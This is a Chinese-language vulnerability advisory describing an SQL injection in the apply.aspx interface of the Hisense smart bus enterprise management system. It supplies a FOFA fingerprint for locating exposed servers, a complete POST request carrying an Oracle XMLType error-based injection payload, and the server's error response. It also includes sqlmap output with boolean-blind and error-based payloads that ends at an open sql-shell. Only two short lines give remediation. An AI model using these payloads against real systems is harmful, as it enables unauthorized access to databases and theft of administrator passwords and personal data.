

海信智能公交企业管理系统 apply.aspx SQL注入漏洞

漏洞描述

海信智能公交企业管理系统 apply.aspx 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

海信智能公交企业管理系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="var _FactoryData"

POC/EXP:

POST /YZSoft/Forms/XForm/OA/apply.aspx?
tid=-1&did=-1%27+AND+4208%3D%28SELECT+UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%2898%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%284208%3D4208%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28120%29%7C%7CCHR%28113%29%7C%7CCHR%2862%29%29%29+FROM+DUAL%29--+dSSu HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

发送请求

强制 HTTPS

历史

Request

1

POST /YZSoft/Forms/XForm/OA/apply.aspx?tid=-1&did=-1%27+AND +4208%3D%28SELECT +UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%2898%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%284208%3D4208%29+THEN+1+ELSE +0+END%29+FROM +DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28120%29%7C%7CCHR%28113%29%7C%7CCHR%2862%29%29+FROM +DUAL%29--+d55u HTTP/1.1

2

Host: .

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36

4

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

5

Accept-Encoding: gzip, deflate, br

6

Accept-Language: zh-CN,zh;q=0.9

7

Connection: keep-alive

Responses

4520bytes / 302ms

美化 渲染 详情

15

<tr><td colspan=2 style="border-bottom:solid 1px #ded0c8; background-color:#eee8aa;color:#9900ff;padding-left:6px; padding-top:2px;padding-bottom:2px;font-family:Tahoma; font-size:12px;letter-spacing:2px">FlowPortal.net·错误报告</td></tr>

16

<tr>

17

<td style="padding:12px;"></td>

18

<td style="padding-top:8px;padding-bottom:8px; padding-left:0px;padding-right:8px;color:#660000; font-family:Tahoma;font-size:12px; letter-spacing:0px">ORA-31011: XML 语法分析失败
ORA-19202: XML 处理
LXP-00110: Warning: 无效 QName 的 ":qybkqlqzqx" (不是名称)
Error at line 1
时出错
ORA-06512: 在 "SYS.XMLTYPE8" , line 310
ORA-06512: 在 line 1
查看错误详情</td></tr>

19

</tr>

20

<tr style="display:none" id="error"><td style="width:200px;padding-top:8px;padding-bottom:8px; padding-left:20px;padding-right:8px;color:#660000; font-family:Tahoma;font-size:12px;letter-spacing:0px" colspan=2>SQL
Code:31011
Error Code:-2146232008
Error Message:ORA-06512: 在 line 1, column 1</td></tr>

```
[16:10:14] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
----
Parameter: #1* (URI)
  Type: boolean-based blind
  Title: Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)
  Payload: http://192.168.1.105:3005/YZSoft/Forms/XForm/OA/apply.aspx?tid=-1&did=-1' AND (SELECT (CASE WHEN (6347=6347) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,6347) END) FROM DUAL) IS NULL-- tsuZ

  Type: error-based
  Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
  Payload: http://192.168.1.105:3005/YZSoft/Forms/XForm/OA/apply.aspx?tid=-1&did=-1' AND 2192=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(112)||CHR(106)||CHR(113)||SELECT (CASE WHEN (2192=2192) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(107)||CHR(113)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL)-- IJQu
----
[16:10:16] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 8.5
back-end DBMS: Oracle
[16:10:16] [INFO] calling Oracle shell. To quit type 'x' or 'q' and press ENTER
sql-shell>
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本